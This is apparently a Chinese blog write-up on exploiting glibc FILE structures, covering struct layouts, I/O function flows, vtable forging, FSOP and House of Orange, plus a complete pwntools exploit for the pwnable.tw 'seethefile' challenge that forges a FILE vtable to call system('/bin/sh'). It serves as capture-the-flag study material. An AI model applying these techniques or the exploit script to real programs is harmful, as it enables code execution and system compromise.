FILE Exploration

系统地学一下 glibc 文件结构的洞

FILE 结构

./libio/libio.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};


// ./libio/libioP.h
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
  • _IO_FILE
    • _flags
      • 记录文件流的属性
        • Read only
        • Append
    • Stream buffer
      • Read buffer
        • _IO_read_ptr
        • _IO_read_end
        • _IO_read_base
      • Write buffer
        • _IO_write_ptr
        • _IO_write_end
        • _IO_write_base
      • Reserve buffer
        • _IO_buf_base
        • _IO_buf_end
    • _fileno
      • 文件描述符
    • _chain
      • FILE 结构体是一个尾插法单向链表,默认有 stderr -> stdout -> stdin
    • _lock
      • 避免多线程的条件竞争
      • 在攻击时通常需要构造它
        • 使其指向一个全是0的空间
  • _IO_FILE_plus
    • stdin/stdout/stderr/fopen 使用这个结构体
    • _IO_FILE
    • vtable
      • 所有对文件的操作都是通过 vtable

fopen 流程

  1. 分配 FILE 结构体空间
    • malloc
  2. 初始化 FILE 结构体
    • _IO_new_file_init_internal
  3. 把 FILE 结构体放入链表
    • _IO_link_in
  4. 打开文件
    • _IO_new_file_open
    • sys_open

fread 流程

  1. 如果 stream buffer 是空的
    • vtable -> _IO_file_xsgetn
    • 分配 buffer
      • vtable -> _IO_file_doallocate
  2. 读取数据到 stream buffer 中
    • vtable -> _IO_file_underflow
  3. 把数据从 stream buffer 复制到目的地址
    • sys_read

fwrite 流程

  1. 如果 steam buffer 是空的
    • vtable -> _IO_file_xsputn
    • 分配 buffer
      • vtable -> _IO_file_doallocate
  2. 复制用户数据到 stream buffer
  3. 如果 stream buffer 满了或者要刷新 steam buffer,将 steam buffer 的数据写入文件
    • sys_write

fclose 流程

  1. 把 FILE 结构从链表中移除
    • _IO_unlink_it
  2. 刷新并释放 stream buffer
    • _IO_new_file_close_it
    • _IO_do_flush
  3. 关闭文件
    • sys_close
  4. 释放 FILE 结构
    • vtable -> _IO_file_finish
    • free

伪造 vtable

伪造 FILE 结构,将 vtable 指向构造的函数

  1. 修改 _lock 指向一个全为 0 的内存
  2. 找到 vtable 的偏移
  3. 修改 vtable 指向可控的内存
  4. 调试查看 close 时会 call 的位置和 rdi 参数
  5. 将对应位置改成 system 和 /bin/sh

注:一般 rdi 的值为 _flags + 后面四个字节,所以一般前 8 个字节设置为 AAAA;sh;

FSOP

File-Stream Oriented Programming

  • 控制文件结构链表

    • _chain
    • _IO_list_all 全局变量,链表头
  • IO_flush_all_lockp

    • 用于刷新所有 FILE 的缓存
    • 调用条件
      • 当 libc 执行 abort 时
      • 当执行 exit 时
      • 当从 main 返回时
    • 在调用时,如果 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 会调用 vtable->_IO_overflow

House of Orange

  • 利用 Unsorted bin attack 把 unsorted bin 写到 _IO_list_all
  • 构造 0x60 大小的 chunk 放入 small bin
  • 调用 _IO_flush_all_lockp 有 50% 概率把 0x60 大小的 chunk 作为 FILE 结构造成 FSOP

Pwnable seethefile

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)

利用点

  • 读取 /proc/self/maps 得到 libc 地址
  • case 5 的时候 name 溢出覆盖 fp 到 fake_file,fclose(fp)时就可以使用伪造的 vtable

主要需要调试找到 _lock、vtable 和调用 vtable 中的函数的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context(arch='i386', os='linux', log_level='debug')
address = "chall.pwnable.tw:10200".split(':')
filename = "./" + __file__[0:-3]
elf = ELF(__file__[0:-3])
p = remote(address[0], address[1])
# p = process(__file__[0:-3])
libc = ELF("./libc_32.so.6")


def fopen(filename):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(filename)

def fread():
p.recvuntil(":")
p.sendline("2")

def fwrite():
p.recvuntil(":")
p.sendline("3")

def vuln_exit(name):
p.recvuntil(":")
p.sendline("5")
p.recvuntil(":")
p.sendline(name)

addr_fake_file = elf.sym["name"]
addr_fp = elf.sym["fp"]
offset_fp = addr_fp - addr_fake_file
offset_lock = 0x48 # fake_file + _
offset_vtable = 0x94 # fake_file + _
offset_call = 0x44 # addr_vtable + _

fopen("/proc/self/maps")
fread()
fwrite()
fread()
fwrite()
p.recvuntil("[heap]\n")
# addr_libc = int(p.recv(8), 16)
addr_libc = int(p.recv(8), 16) + 0x1000
# info("libc addr => " + hex(addr_libc))
addr_system = addr_libc + libc.sym["system"]

fake_file = b"/bin/sh\x00" + p32(addr_system) * 6
payload = (fake_file).ljust(offset_fp, b"\x00") + p32(addr_fake_file)
payload = (payload).ljust(offset_lock, b"\x00") + p32(addr_fake_file + offset_vtable + 4)
payload = (payload).ljust(offset_vtable, b"\x00") + p32(addr_fake_file + 8 - offset_call)

# gdb.attach(p, "b *0x8048b0f")

vuln_exit(payload)
p.recv()

p.interactive()
作者

Humoooor

发布于

2022-10-11

更新于

2023-10-04

许可协议

评论